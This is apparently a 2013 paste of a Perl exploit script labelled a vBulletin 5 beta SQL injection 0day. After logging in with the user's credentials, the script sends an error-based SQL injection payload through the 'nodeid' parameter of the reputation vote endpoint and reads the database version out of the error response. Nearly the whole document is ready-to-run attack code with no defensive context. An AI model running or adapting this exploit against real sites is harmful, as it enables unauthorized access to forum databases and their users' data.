Untitled


SUBMITTED BY: Guest

DATE: March 25, 2013, 8:19 a.m.

FORMAT: Perl

SIZE: 2.1 kB

HITS: 1686

  1. #!/usr/bin/perl
  2. use LWP::UserAgent;
  3. use HTTP::Cookies;
  4. use HTTP::Request::Common;
  5. use MIME::Base64;
  6. system $^O eq 'MSWin32' ? 'cls' : 'clear';
  7. print "
  8. +===================================================+
  9. | vBulletin 5 Beta XX SQLi 0day |
  10. +===================================================+
  11. ";
  12. if (@ARGV != 5) {
  13. print "\r\nUsage: perl vb5exp.pl WWW.HOST.COM VBPATH URUSER URPASS MAGICNUM\r\n";
  14. exit;
  15. }
  16. $host = $ARGV[0];
  17. $path = $ARGV[1];
  18. $username = $ARGV[2];
  19. $password = $ARGV[3];
  20. $magicnum = $ARGV[4];
  21. $encpath = encode_base64('http://'.$host.$path);
  22. print "[+] Logging\n";
  23. print "[+] Username: ".$username."\n";
  24. print "[+] Password: ".$password."\n";
  25. print "[+] MagicNum: ".$magicnum."\n";
  26. print "[+] " .$host.$path."auth/login\n";
  27. my $browser = LWP::UserAgent->new;
  28. my $cookie_jar = HTTP::Cookies->new;
  29. my $response = $browser->post( 'http://'.$host.$path.'auth/login',
  30. [
  31. 'url' => $encpath,
  32. 'username' => $username,
  33. 'password' => $password,
  34. ],
  35. Referer => 'http://'.$host.$path.'auth/login-form?url=http://'.$host.$path.'',
  36. User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
  37. );
  38. $browser->cookie_jar( $cookie_jar );
  39. my $browser = LWP::UserAgent->new;
  40. $browser->cookie_jar( $cookie_jar );
  41. print "[+] Requesting\n";
  42. my $response = $browser->post( 'http://'.$host.$path.'index.php/ajax/api/reputation/vote',
  43. [
  44. 'nodeid' => $magicnum.') and(select 1 from(select count(*),concat((select (select concat(0x23,cast(version() as char),0x23)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) AND (1338=1338',
  45. ],
  46. User-Agent => 'Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0',
  47. );
  48. $data = $response->content;
  49. if ($data =~ /(#((\\.)|[^\\#])*#)/) { print '[+] Version: '.$1 };
  50. print "\n";
  51. exit 1;

comments powered by Disqus